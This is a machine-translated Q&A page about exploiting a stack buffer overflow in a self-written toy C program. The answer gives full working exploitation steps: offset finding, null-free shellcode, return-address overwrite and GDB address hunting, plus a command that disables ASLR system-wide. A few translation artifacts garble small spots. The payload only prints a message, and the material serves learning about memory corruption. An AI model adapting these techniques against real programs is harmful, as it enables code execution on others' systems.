C语言 无法在易受攻击的程序中插入 shell 代码

fcg9iug3  于 2022-12-26  发布在  Shell
关注(0)|答案(1)|浏览(86)

我正在研究堆栈缓冲区溢出漏洞。我想插入我编写的以下 shell 代码:

BITS 64

jmp short one

two:
    pop rcx
    xor rax,rax
    mov al, 4
    xor rbx, rbx
    inc rbx
    xor rdx, rdx
    mov dl, 15
    int 0x80

    mov al, 1
    dec rbx
    int 0x80

one:
    call two
    db "Hello, Friend.\n", 0x0a

我禁用了ASLR(echo 0 > /proc/sys/kernel/randomize_va_space),并使用-fno-stack-protector -z execstack编译了程序,但在运行命令时仍然如此:

root@computer# ./simple $(python3 -c 'print("A" * 64 + "\x6b\xe7\xff\xff\xff\x7f")')

这就是我得到的:

Welcome AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAkçÿÿÿ
Segmentation fault

偏移量(64)在gdb中计算(变量buffer和rbp之间的距离)。命令中的地址是0x7fffffffe76b的little-endian,shell代码所在的env-var。我还对注入的程序进行了hexdump,确保没有空字节:

00000000  eb 1a 59 48 31 c0 b0 04  48 31 db 48 ff c3 48 31  |..YH1...H1.H..H1|
00000010  d2 b2 0f cd 80 b0 01 48  ff cb cd 80 e8 e1 ff ff  |.......H........|
00000020  ff 48 65 6c 6c 6f 2c 20  46 72 69 65 6e 64 2e 5c  |.Hello, Friend.\|
00000030  6e 0a                                             |n.|
00000032

地址计算使用:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(int argc, char **argv){
    int pl = strlen(*argv);
    char *addr = getenv(*++argv);
    addr += (pl - strlen(*++argv))*2;
    printf("\n%s @ %p\n\n", *--argv, addr);
}

乔恩·埃里克森书中程序的修改版本。
这是具有漏洞的程序:

//simple.c
#include <stdio.h>
#include <string.h>
#include <stdlib.h>

void hidden(void){
    printf("Welcome to the dark side, young padawan");
    exit(0);
}

void welcome(char *s){
    char buffer[50];
    //int placeholder = 13;
    strcpy(buffer, "Welcome ");
    strcat(buffer, s);
    printf("%s\n", buffer);
}

int main(int argc, char **argv){
    if(--argc < 1){
        printf("\nUsage: %s [NAME]\n\n", *argv);
        exit(1);
    }
    welcome(*++argv);
}

最后,我开始使用GDB,我发现了一个奇怪的事情,我不知道如何避免(或修复):

(gdb) p $rbp - $rsp
$1 = 80
(gdb) x/48x $rsp-80
0x7fffffffdd90: 0x00000000  0x00000000  0x00000000  0x00000000
0x7fffffffdda0: 0x00000000  0x00000000  0x00000000  0x00000000
0x7fffffffddb0: 0x00000000  0x00000000  0x00000000  0x00000000
0x7fffffffddc0: 0x00000000  0x00000000  0xf7ffe180  0x00007fff
0x7fffffffddd0: 0x00000002  0x00000000  0x555551bf  0x00005555
0x7fffffffdde0: 0x00000000  0x00000000  0xffffe2cf  0x00007fff
0x7fffffffddf0: 0x636c6557  0x20656d6f  0x41414141  0x41414141
0x7fffffffde00: 0x41414141  0x41414141  0x41414141  0x41414141
0x7fffffffde10: 0x41414141  0x41414141  0x41414141  0x41414141
0x7fffffffde20: 0x41414141  0x41414141  0x41414141  0x41414141
0x7fffffffde30: 0x41414141  0x41414141  0xafc394c2  0xc335b8c3
0x7fffffffde40: 0xff007fbc  0x00007fff  0x00000000  0x00000001
(gdb) c
Continuing.
Welcome AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAïø5ü

Program received signal SIGSEGV, Segmentation fault.
0x00005555555551cd in welcome (s=0x7fffffffe2cf 'A' <repeats 64 times>, "\302\224ïø5ü\177") at simple.c:16
16  }

在填充(0x41)之后,由于\xff的双字节表示,返回地址被破坏。
有人能帮我理解为什么我不能注入 shell 代码吗?

n3h0vuf2

n3h0vuf21#

首先,在利用64位可执行文件. int 0x80 is the old 32-bit syscall interface时使用64位代码。
第二,你可以在缓冲区中传递shellcode,让它同时充当shellcode和padding。如果你还想使用环境变量,请看下面。

在缓冲区中传递shell代码

我不会全局禁用ASLR,而是依赖于GDB设置被调试进程的适当个性来单独禁用ASLR。
由于进程是从命令行读取字符串的,所以这会变得棘手(但不是很多),因为命令行参数会在程序入口点(Linux将环境变量和命令行参数保存在堆栈之上)向下移动堆栈指针(它们越大,堆栈指针就越低)。
这将更改 shell 代码加载的实际地址。
因此,您首先需要知道 shell 代码将有多大,为此,您还需要知道覆盖返回地址需要多少数据,您可以通过检查welcome的反汇编来完成此操作。
对于如此简单的函数,objdump就足够了:

000000000000118b <welcome>:
    118b:   55                      push   %rbp
    118c:   48 89 e5                mov    %rsp,%rbp
    118f:   48 83 ec 50             sub    $0x50,%rsp
    1193:   48 89 7d b8             mov    %rdi,-0x48(%rbp)    ;message

    1197:   48 8d 45 c0             lea    -0x40(%rbp),%rax    ;buffer
    119b:   48 b9 57 65 6c 63 6f    movabs $0x20656d6f636c6557,%rcx "Welcome "
    11a2:   6d 65 20 
    11a5:   48 89 08                mov    %rcx,(%rax)
    11a8:   c6 40 08 00             movb   $0x0,0x8(%rax)      

    11ac:   48 8b 55 b8             mov    -0x48(%rbp),%rdx    ;message
    11b0:   48 8d 45 c0             lea    -0x40(%rbp),%rax    ;buffer
    11b4:   48 89 d6                mov    %rdx,%rsi
    11b7:   48 89 c7                mov    %rax,%rdi
    11ba:   e8 91 fe ff ff          call   1050 <strcat@plt>   ;<--

    11bf:   48 8d 45 c0             lea    -0x40(%rbp),%rax
    11c3:   48 89 c7                mov    %rax,%rdi
    11c6:   e8 65 fe ff ff          call   1030 <puts@plt>
    11cb:   90                      nop
    11cc:   c9                      leave
    11cd:   c3                      ret

从我的注解中可以看到,字符串buffer位于rbp-0x40
因此,我们需要64个字节到达帧指针,加上8个字节到达返回地址,再加上返回地址本身的8个字节。

  • 但是 * 我们从字符串"Welcome "之后开始,因为这是一个strcat,所以 shell 代码的总大小是64 + 8 + 8 - 8 = 72字节。

创建一个72字节的文件:

> python -c 'print("A"*72, end="")' > shellcode

现在使用这个文件和GDB找出buffer的地址:

> gdb ./simple -ex 'b welcome' -ex 'r $(cat shellcode)' -ex 'p &buffer'
...
Breakpoint 1, welcome (s=0x7fffffffe78f 'A' <repeats 72 times>) at simple.c:13
13      strcpy(buffer, "Welcome ");
$1 = (char (*)[50]) 0x7fffffffe2d0

0x7fffffffe2d0是我们现在知道的buffer的地址:

  • shell 代码将8个字节放入buffer:x1米11米1x
  • 返回地址将是 shell 代码中的64个字节(基于上述考虑)。

现在是时候写一个 shell 代码并测试它了。因为我们在命令行中传递它,它也必须 * 不 * 包含新行。然而打印一个新行对于将当前行刷新到stdout是有用的,所以我使用了一个丑陋的黑客在运行时在字符串的末尾做了一个新行。
丑陋的 shell 代码代码是:

BITS 64

;Systemcalls numbers
%define SYS_WRITE 1
%define SYS_EXIT 60

;Constants
%define STDOUT 1
%define MASK 0x01010101

;Emulate a zero-free move of a byte
%macro zfmov 2
    push %2
    pop %1
%endm

;Emulate a zero-free "lea" (not 100% safe, if %2 is -MASK the displacement will be zero)
%macro zflea 2
    lea %1, [REL %2 + MASK]     ;Add the mask to avoid zeros for small displacements
    sub %1, MASK            ;Remove the mask
%endm

;--- Write a message ---
zfmov rax, SYS_WRITE
zfmov rdi, STDOUT
zflea rsi, message
mov BYTE [rsi+message.len-1], 0xaa  ;Make the new line replacing the last char of the string
xor BYTE [rsi+message.len-1], 0xa0  ;Turn 0xaa into 0x0a
zfmov rdx, message.len
syscall

;Exit
zfmov rax, SYS_EXIT
xor edi, edi
syscall

message db "Hello!A"        ;Last char is replaced with a new line
  .len EQU $-message

现在组装这个:

> nasm shellcode.asm -o shellcode

并添加任何填充以使文件大小为64字节,然后添加上面找到的返回地址:

0000:0000 | 6A 01 58 6A  01 5F 48 8D  35 1C 01 01  01 48 81 EE | j.Xj._H.5....H.î
0000:0010 | 01 01 01 01  C6 46 06 AA  80 76 06 A0  6A 07 5A 0F | ....ÆF.ª.v. j.Z.
0000:0020 | 05 6A 3C 58  31 FF 0F 05  48 65 6C 6C  6F 21 41 41 | .j<X1ÿ..Hello!AA
0000:0030 | 41 41 41 41  41 41 41 41  41 41 41 41  41 41 41 41 | AAAAAAAAAAAAAAAA
0000:0040 | D8 E2 FF FF  FF 7F 00 00                           | Øâÿÿÿ...

堆栈是16字节对齐的,所以只要你的 shell 代码长度在0x40和0x4f之间(包括结尾), shell 代码地址就不会改变。
最后,运行 shell 代码:

> gdb ./simple -ex 'r $(cat shellcode)'
...
Welcome jXj_H�5H���F��v�jZj<X1�Hello!AAAAAAAAAAAAAAAAAA�����
Hello!
[Inferior 1 (process 168571) exited normally]

在envar中传递shell代码

我想你已经读过上面的章节了。
envar的地址取决于它的大小和命令行参数的大小。命令行参数的长度必须至少为64 + 6字节(6是因为返回地址的最后两个字节是零,所以6个字节就足够了),并且shellcode可以是任意大小。为了简单起见,我们可以将两个文件的长度都设为70字节。
更准确地说:envar的地址对 shell 代码的大小和字节粒度敏感,但它只对16B步长上的命令行参数的大小敏感(这个数量曾经被称为 * paragraph *),因为堆栈是在这个大小上对齐的。
使用可识别的模式编写一个70字节文件,如下所示:

0000:0000 | 43 41 4E 41  52 59 41 41  41 41 41 41  41 41 41 41 | CANARYAAAAAAAAAA
0000:0010 | 41 41 41 41  41 41 41 41  41 41 41 41  41 41 41 41 | AAAAAAAAAAAAAAAA
0000:0020 | 41 41 41 41  41 41 41 41  41 41 41 41  41 41 41 41 | AAAAAAAAAAAAAAAA
0000:0030 | 41 41 41 41  41 41 41 41  41 41 41 41  41 41 41 41 | AAAAAAAAAAAAAAAA
0000:0040 | 41 41 41 41  41 41                                 | AAAAAA

这将模拟 shell 代码,我们现在需要它有几个不同的字节,我们可以搜索。
使用另一个模式创建另一个70字节的文件:

0000:0000 | 41 41 41 41  41 41 41 41  41 41 41 41  41 41 41 41 | AAAAAAAAAAAAAAAA
0000:0010 | 41 41 41 41  41 41 41 41  41 41 41 41  41 41 41 41 | AAAAAAAAAAAAAAAA
0000:0020 | 41 41 41 41  41 41 41 41  41 41 41 41  41 41 41 41 | AAAAAAAAAAAAAAAA
0000:0030 | 41 41 41 41  41 41 41 41  41 41 41 41  41 41 41 41 | AAAAAAAAAAAAAAAA
0000:0040 | 41 41 41 41  41 41                                 | AAAAAA

我们称之为placeholder,它将模拟命令行参数。
使用gdb查找envar的位置,记住我们需要传递70个字节作为命令行参数来模拟程序运行的条件。
文件placeholder将用于此目的,文件pattern将用于在存储器中搜索其第一字节。

> SC=$(cat pattern) gdb ./simple -ex 'b main' -ex 'r $(cat placeholder)' -ex 'find /b1 $rsp, +3000, 0x43, 0x41, 0x4e, 0x41' -ex 'p $_'
...
Breakpoint 1, main (argc=2, argv=0x7fffffffe3f8) at simple.c:19
19      if(--argc < 1){
0x7fffffffec1f
1 pattern found.
$1 = (void *) 0x7fffffffec1f

现在编辑占位符,并把地址找到它的最后6个字节:

0000:0000 | 41 41 41 41  41 41 41 41  41 41 41 41  41 41 41 41 | AAAAAAAAAAAAAAAA
0000:0010 | 41 41 41 41  41 41 41 41  41 41 41 41  41 41 41 41 | AAAAAAAAAAAAAAAA
0000:0020 | 41 41 41 41  41 41 41 41  41 41 41 41  41 41 41 41 | AAAAAAAAAAAAAAAA
0000:0030 | 41 41 41 41  41 41 41 41  41 41 41 41  41 41 41 41 | AAAAAAAAAAAAAAAA
0000:0040 | 1F EC FF FF  FF 7F                                 | .ìÿÿÿ.

这是命令行参数的最终值。
最后,生成shell代码,基本相同,但现在我们可以使用值为0x0a的字节,我将其填充为70个字节:

BITS 64

;Systemcalls numbers
%define SYS_WRITE 1
%define SYS_EXIT 60

;Constants
%define STDOUT 1
%define MASK 0x01010101

;Emulate a zero-free move of a byte
%macro zfmov 2
    push %2
    pop %1
%endm

;Emulate a zero-free "lea" (not 100% safe, if %2 is -MASK the displacement will be zero)
%macro zflea 2
    lea %1, [REL %2 + MASK]     ;Add the mask to avoid zeros for small displacements
    sub %1, MASK            ;Remove the mask
%endm

;--- Write a message ---
zfmov rax, SYS_WRITE
zfmov rdi, STDOUT
zflea rsi, message
zfmov rdx, message.len
syscall

;Exit
zfmov rax, SYS_EXIT
xor edi, edi
syscall

message db "Hello!", 0x0a       ;Last char is replaced with a new line
  .len EQU $-message
  
TIMES 70 -($-$$) db 'A'

组装:

> nasm shellcode.asm -o shellcode

我们现在可以运行它:

> SC=$(cat shellcode)  gdb ./simple -ex 'r $(cat placeholder)'
...
Welcome CANARYAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA����
Hello!
[Inferior 1 (process 170902) exited normally]

它是如何工作的?

我们的策略一直是使用GDB来复制程序运行时的条件,当它将被利用。
在第一节中,我们对查找buffer的地址感兴趣,我们意识到这取决于命令行参数的大小,因此我们首先通过静态分析程序来找出 shell 代码的大小,然后使用假 shell 代码查找buffer的地址。
攻击本身非常简单,堆栈是可执行的,返回地址只是被覆盖以控制执行。
在第二节中,我们感兴趣的是找到内核放置在堆栈之上的envar值的地址。
我们以同样的方式继续,我们使用一个伪命令行参数、一个带有可识别模式的伪shell代码和GDB来查找envar值的地址。
这一次,我们必须更加注意确切的大小,至少对于 shell 代码本身是这样。

该漏洞与上一个漏洞类似,但 shell 代码位于envar(允许换行符等)中。

相关问题